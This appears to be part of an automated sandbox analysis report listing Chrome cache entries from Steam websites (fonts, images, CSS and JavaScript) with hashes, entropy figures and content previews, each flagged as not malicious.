Preview:	wOFF.............._X........................FFTM............m.._GDEF......./...6...3GPOS..........(.1W.GSUB.............n."OS/2.......O...`h..cmap...\........\|[t.gasp................glyf......o?...T...head...X...1...6....hhea....... ...$....hmtx.......>........loca...l...$...$K..Ymaxp....... ... ....name..~........~_.t=post......./.... +..x.c`d`...e"w..m.2p3.`......`....RX.X..\..&.(.^M.c...x.c`d``....%....A,.@.......J...........................@......x.c`f.a......................\|....31 @.w........L..s0.`...C..a2H...i..R`...1W...x....,;......mk1..w..m.}..m.m.~}..Y..N..\|.2.T*3:...@...$.#....k.U.`....a.~. Y..l@.\.........8.J...,4.#.i<.L..y...[1ZW!...N.sl&:3~..(..=.Y".0.1:[.....0.s3..:.4".3.e..V..."t...a.5.~....B..0... J.e.!t..GK.....!Izr/K..h[.A.>.\.E...>.C.5=..a.D.e..c..Z(.....m..k3c....NOf.J...h..:.}.......jh...{.-...O....Jd.y...u'&0g6....q..!(.hc%..H......i.s.!.9.....UA.....r...M....B"4..&..`..3.`..?....Z.....@c.4&.>:.Ci.<..tk./..r..W..'..D....bc.1s^..gc

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	91429
Entropy (8bit):	5.314088694667635
Encrypted:	false
SSDEEP:	1536:imsvf3ZcGj0CqB26gdz5a70sfFo1KnVn6z4EBYfhlOPBr90w6ssOZrQSysmHN4j4:K046g+Dn6z4EBBlWN40
MD5:	7F3E92BF5B5B4B76446E6147D86C21AE
SHA1:	277260B15BB51C0E19B4B3D27ACC4E4E5F172069
SHA-256:	C19260B0FC51D2BC52D42E72DA83699701B5C5040460AA6BC13F4F0E6F5F9FF3
SHA-512:	47E9F75803C0D8B1EC169FC501A1768B4F11F38C54C435B1ACD2CF9BFA4707C78EF56B3868D50AA36D6975760A57843DD306829D92A04B36BB1AA94B506AEF79
Malicious:	false
Reputation:	low
Preview:	..function GetElemSNR( $Elem )..{...var snr = $Elem.data( 'snr' );...if ( typeof snr != 'undefined' )...{....return snr;...}.....// look for links with snr parameter...var links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );...snr = null;...for ( var i = 0; i < links.length; ++i )...{....var link = links[i];....var navinfo = link.href.match( /[\?&]snr=([a-zA-Z0-9\-\_ ]+)/ );....if ( navinfo )....{.....snr = navinfo[1];.....break;....}...}.....$Elem.data( 'snr', snr );...return snr;..}....// given an array of impressions as strings, this will handle joining them all together into a singular string, but enforcing that it doesn't..// go above the cookie size limit which can otherwise cause users to become stuck since the page requests will start failing..function JoinImpressionsUpToLimit( rgImpressions )..{...//cookies generally can go up to 4k bytes, but we can have problems when we start getting that close, so cut it off earlier...var nRemainingLen = 3200;...var result = '';...for ( var

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1155 x 1155, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	7649
Entropy (8bit):	5.1188675920344835
Encrypted:	false
SSDEEP:	48:r2trufFoK7VnCT4Xp2xYQmVJaBEW0tHjpneiH+TpW:KtrIoK7Voa6YQm7aBEW0ttnegQpW
MD5:	E2D6D224BAA50A3E340E76974D553889
SHA1:	43DCACAABC92D06262532154EE9DE89573DFCCD9
SHA-256:	804D4FF7A9CE2BAACCD7B4CF6911E8EB58ACFB49A0843958E1BE1CCB2E2EE1C9
SHA-512:	AA6D51B6C892EDEA4055757AE6BF91A2D4C402D07B542526CEE055F251581E7FFF7BB315A2F1FBDA0AB4CDF3206668993C620E6FA378C85A283EB4DA355EB1E6
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_mobile_qr_code.png
Preview:	.PNG........IHDR.............eih.....bKGD..............IDATx....q..@Q..{..!L.3.(.E..fi......s. .<R}............^....?......)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.......^o.uz.....n..=G..(.m..y.............@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M..........3......e...8H........<..N......:......._A?..~..\|.....*8.._...9......._A?......jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.....8.....:..w..>..w.m]6..y.

Chrome Cache Entry: 383

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 298 x 137, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	28667
Entropy (8bit):	7.9837637514425595
Encrypted:	false
SSDEEP:	768:a30Z4XWxlJVZOLiKhwbGUzCbN5gknK0fHcrNS8WVra:aEZ4XWR7OLiKhhhB5BfGNsVra
MD5:	D9871B81A9DAD8ACB788EBC2D3066F72
SHA1:	C5CF4295DB683221688EF2C6F9206C71F34F15AB
SHA-256:	BD837F4A2362D50B85A9C748B8DC9C3AA2F807CB838233DF513DF034DD604998
SHA-512:	CFAE8BD0D9564A5E96454AAAC8DC8CA2BA87CD5DAEB6D27DB26276B34033CF8170337C199CD1025641BE9DD584BD25A4FE6DF7836EBF22E75DCD47A4857DBCBD
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_link_accent.png
Preview:	.PNG........IHDR..............u.....pHYs.................sRGB.........gAMA......a...o.IDATx..Y.,K.&...G....)...k.....AB..O .....<.........#.+?......!!!$..!...7..{G..............{........>..hLg.....v.4...1.cev....\x..'3.....H...=&.c_.y..c.>v.<......^r.c...).;u.%.._g..q...i.c.x-.N9.R.%..8n.......}I../....#5....%.o..A.b.z..m..K.......k.K...q#..;....'/\.c...n+.n..-h..5.j@.....B.t....1....-.yve...M.-rk.d^.,s...}..;....Dp.^Ku}.$s...wy....a~.c.d..~[:.X...0...bC...+`.a9x.1 1......n_..[.RN\.%...y...=..9...<..^.ob.@S.z..j.....m....h.B.....k.S@D.}...9.v..........{.c.....=+..o.y................V#].K........n......;.}.\|`b.&.8V.u..{..P.M...L....7....N.....P..W..A...o.&.tj.rj...d.).H.....}.s.=.^......u....P?..'..<.=..I....."0....c.C....N.c....s)(....y6..+..../t.........!p..f.....n.O.?..M...%...l}......o.\.X.k.......=N..c..nD.u...TYz.y}...P..a"..#..<6.1..WV..b@.)0.............n.....wi.dP-.Ot.....@.A...u...4..;...m....4..o..&..p.......y...Y.

Chrome Cache Entry: 384

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 8 bits/pixel
Category:	downloaded
Size (bytes):	1406
Entropy (8bit):	1.6214494414274285
Encrypted:	false
SSDEEP:	6:UcLDpXejv8EGctuBoCWCqRFoRJrlRq0qGpmEDqSrur3pTHkl:UcLNejketKWCqLkXqTGQE2SO54l
MD5:	2690CED7D66CF8B34658922E9625F65E
SHA1:	57477C2180CC7B6B9E3064A46CF8DA4AD7555540
SHA-256:	0C6516E22335E762E68BB63CC3F6EEE7455FC226D0FC00C62EF13FC93FA16971
SHA-512:	C95A83A53C9FD1DA6388B8C63E6B8434670F1A0C9C9DB2CC775EFC127899536095EC8290EC251575D1A355CC8C3A2C9786E719AE7E51D992DE9E73E080D92AAB
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/favicon.ico
Preview:	..............h.......(....... ...........@...................ust.....QVS.................\|\|\|.kom.....^[]...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2917
Entropy (8bit):	5.228296617631515
Encrypted:	false
SSDEEP:	48:PFzAlKxWKDzeqy5UZEwvUD675JZh9wuh6Fyy2Yl0rIFS3E3Ez9+IQQdwxjTTSeaQ:+zBN5Gvg6LZfwvkyXk+4E3EzbaxrSdMp
MD5:	405088F8D3FED7506E915118063BE2C2
SHA1:	1E8B4FBD31497DC0C6656791C2F90828E318140C
SHA-256:	BFCFD556CD300A21962BC18721C79D670BFFD653D058AC8FD1ADFD50D2D00C82
SHA-512:	FADF951A97ADDF12662F3D0272E39BDB60544C40FFD93E33C643769D7175A7265CA693F2B55C4BE8C0E7B872098912696D92CABC5A5B4319AB0201C553B477A0
Malicious:	false
Reputation:	low
Preview:	var selStates = new Array();..var modalDismissHandler = false;....function showGotSteamModal( contentEl, steamURL, appName )..{...$('gotSteam_SteamURL').href = steamURL;...$('gotSteam_AppName').update( appName );...showModal( contentEl );..}....function showModal( contentEl, bExplicitDismisalOnly )..{...// hide selects, which have an infinitely high z-index in IE...sels = document.getElementsByTagName('select');...selStates.length = 0;...for(x=0;x<sels.length;x++)...{....selStates.push((sels[x].style.visibility == undefined ? 'visible' : sels[x].style.visibility));....sels[x].style.visibility = 'hidden';...}......bgEl = document.getElementById('modalBG');...if(!bgEl)...{....bgEl = document.createElement('div');....bgEl.id = 'modalBG';...}...new Effect.Appear( bgEl, { from: 0.0, to: 0.8, duration: 0.4 } );......cEl = $(contentEl);...cEl.show();......modalSizing( cEl );.....cEl.sizingListener = modalSizing.bind( null, cEl );.....// skip registering the resize/scroll events on iphone as w

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 690 x 1398, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	256364
Entropy (8bit):	7.992281401208544
Encrypted:	true
SSDEEP:	6144:vqswArZbdG/0wtJ2xZ73xzCn7w5KXj4Lb+dqML:TJdGSxZdo0sj++V
MD5:	C825B8122182802B91860D2EE93A3673
SHA1:	E9469C6D4B1052F24F68910C558A35DD9ABCC7C5
SHA-256:	7CDB8C32814C2C3062F5B5BDE0B82B1DCA917F3D70D8F0C1F6D7163CC6EBA4F0
SHA-512:	C070BE903656E47249395C25D218244F1299F1A7F9801253E5071CD6AA84A8281932C49BF33B85FD4172EEAFD4C97BB89B0F83648540042A38DDB3FA0C0C858E
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/web_chat/web_chat_english.png
Preview:	.PNG........IHDR.......v.....f._.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:2de2dab8-aafd-484a-a2b7-1ccf02b6f6d9" xmpMM:DocumentID="xmp.did:BB036D2E468C11EDB387FB043C60A269" xmpMM:InstanceID="xmp.iid:BB036D2D468C11EDB387FB043C60A269" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3d4abc37-e1c4-4542-87e7-6ceb3124c2bd" stRef:documentID="adobe:docid:photoshop:e32f5b3b-edae-344e-8ae3-b5fef5af14d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......~IDATx....\U..

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.661932872373583
Encrypted:	false
SSDEEP:	3:YWQRAW6kYN:YWQmT
MD5:	CC23E88E5E3A1AEFB54805284245A25B
SHA1:	A255901026FA8C111C9CC658E78D3C46BE479128
SHA-256:	8F22FEBFD2EBD5AD2A15E6C3B4647CAFE6B3C7DBAC8B59530EF76A378608C4B9
SHA-512:	9B4202B9074BD2E7FBBA84BBA9C89FC0D8CA269C2FE51E496830D0C8734CFA89E8B32ADEB36DC37FBFFB253425228777062049468ECE876A144C9B6233197657
Malicious:	false
Reputation:	low
Preview:	{"success":false,"error":8}

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2646
Entropy (8bit):	5.186625633836425
Encrypted:	false
SSDEEP:	48:y3/p1p6iBbbjR3+Muik5kSR3+MuikywR3+MuiktStR3+MuikFXR3+MuikRCR3+Mm:ip1p6eUMuotMuYjMuvFMuboMu3dMuIw9
MD5:	45CDA1A73836131DD3614C2C3854CA4D
SHA1:	8C5F6023535CB883463E83170430B31EE72B5176
SHA-256:	218BEDD2A2817DFDE5F3A900B6204C7E378E1B747FF98AE89AEDFF2391E4429C
SHA-512:	EFA13E0D107CB9915BB8AB250B417880F08E255FF2D6457306FEF6A6FF0DEE0FC2F0FCA15738B71CE1AACCD3B2556B677881BEF4A6CB182D696B583F10E78559
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english
Preview:	/.. Font: ..Motiva Sans.. URL: ..http://www.youworkforthem.com/product.php?sku=T2982.. Foundry: .Niramekko.. Foundry: .http://www.youworkforthem.com/designer/293/niramekko.. Copyright:.Copyright 2011 by Rodrigo Saiani. All rights reserved... Version: .1.0.. Created:.August 09, 2012.. License: .http://www.youworkforthem.com/font-license.. License: .The WebFont(s) listed in this document must follow the YouWorkForThem..... WebFont license rules. All other parties are strictly restricted..... from using the WebFonts(s) listed without a purchased license...... All details above must always remain unaltered and visible in your CSS... /....@font-face {...font-family: 'Motiva Sans';...src: url('https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015') format('truetype');...font-weight: normal;...font-style: normal;..}....@font-face {...font-family: 'Motiva Sans';...src: url('https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.01

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	24657
Entropy (8bit):	5.319718503552118
Encrypted:	false
SSDEEP:	384:aUXvnJo2dacv5Wc4gOV+n0Xmz85JX1c/jc0NL+lMF2KDnXhOMucpqWqGil/wSwf3:aU/nq2dd4gmLWqGil/wS20m
MD5:	A52BC800AB6E9DF5A05A5153EEA29FFB
SHA1:	8661643FCBC7498DD7317D100EC62D1C1C6886FF
SHA-256:	57CFAF9B92C98541F769090CD0229A30013CEA7CFAFC18519CA654BFAE29E14E
SHA-512:	1BCACD0EC7C3D633D6296FFF3325802D6352805F0D2CF1EEA39237424229ECFFAD6CB2AEE4248E28B1ECA02FF0646B58240851A246BBCF0AA1083830D5D9081E
Malicious:	false
Reputation:	low
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 37x37, segment length 16, baseline, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	702
Entropy (8bit):	6.805425587929178
Encrypted:	false
SSDEEP:	12:Ac150Xyose8z9roNN0kEW0YIzKwbpcdFYOiEscTlEkUJfT2:Ac1spMroN7AYiDbpcdFY8sipGb2
MD5:	E89EE7BC3EEF1CA9184F69758BA3FE36
SHA1:	1D33AE6EF98078966C625BBD7A67A5538DADF4CC
SHA-256:	9498210D8F9B4268D4396C6E0756A0F414895AE89C8ED5EA972E13B172E4DCD3
SHA-512:	D409E6B849F5A54CE98050A2049BA9AA210B73B1900C8A27E2DF2C91D601D678C0E81C1390774D1D2CA07799B48D9F1E8CCE2200F4735BF41575A68622973434
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/730/8dbc71957312bbd3baea65848b545be9eae2a355.jpg
Preview:	......JFIF.....%.%.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...... . .."....................................-.........................1..!Aa.#.."..$2Qq...........................&......................1.!....."Aa...............?...j.V....+).6......o....J.$..........ezT.b.FK.`g.).=..?..S._..o.n:RmV...E.~T...3.\|....wf..4..0.....(d.....-.z.-...z....O.S.F1..+.N......R..G%z{r..M.$.............@...R"....P.e'aZ.EDT...-.4.$..........=..2.!...i-.FB...\|....z..i..g"d.\......>.ZaF................7'.}.[......'.....8..WH&Y.$...9....,.....he..1...rB..........:.:U..>u.(L...u.......6...h.P.4H.j..

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
URL:	https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 394

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 395

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansMedium4.015;Plau;MotivaS
Category:	downloaded
Size (bytes):	124048
Entropy (8bit):	6.074024700633004
Encrypted:	false
SSDEEP:	1536:v4Kkq/szjKJRIDCnR96guXgECINo28BZZDhpkemOXaxq4jKea8GyFLaE0Af0ffL9:vf/fxn7ElXxE0wS0fj9
MD5:	2D64CAA5ECBF5E42CBB766CA4D85E90E
SHA1:	147420ABCEB4A7FD7E486DDDCFE68CDA7EBB3A18
SHA-256:	045B433F94502CFA873A39E72D616C73EC1B4C567B7EE0F847F442651683791F
SHA-512:	C96556EC57DAC504919E806C7DF536C4F86892B8525739289B2F2DBBF475DE883A4824069DBDD4BB1770DD484F321563A00892E6C79D48818A4B95406BF1AF96
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Medium.ttf?v=4.015
Preview:	........... DSIG...........GDEF...4...,...@GPOS......l..u.GSUB.d....w.....OS/2u..........`cmap.d..........cvt G..t........fpgm.6!........gasp............glyf5.}2........head...W.......6hhea...v.......$hmtx._X.........loca.:yV........maxp.......l... names...........post.......<....prep..........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4458), with CRLF line terminators
Category:	downloaded
Size (bytes):	156982
Entropy (8bit):	5.435620292080094
Encrypted:	false
SSDEEP:	1536:D11KAh60MhmjGFhB1e5lnl9b/PdVcTzWMGEN3qxVqGoteFANNfsf9M6kQuOEmTdh:808B1e5/9b3dVcj9qVqZrrUEvm
MD5:	9CAB64AE7399518E41E6B1CBDB12046D
SHA1:	1DD2DD1313D0E197E986F37284ED8EC4DF08AFF5
SHA-256:	A61DF7D1067A60F7179FF71071A3D8AC030DD3B36F40A3D51DE87A97106E2693
SHA-512:	D4A3C7DB2B80FFD8BECF08EF7BC74661581B006EFDC2FF018D4FB4651BF1ABD8ECA76901202C75DA9B80D1FFEE0FA316CE7E38202A3AE223CA3C6E47DC8F9371
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/shared_global.js?v=nKtkrnOZUY5B
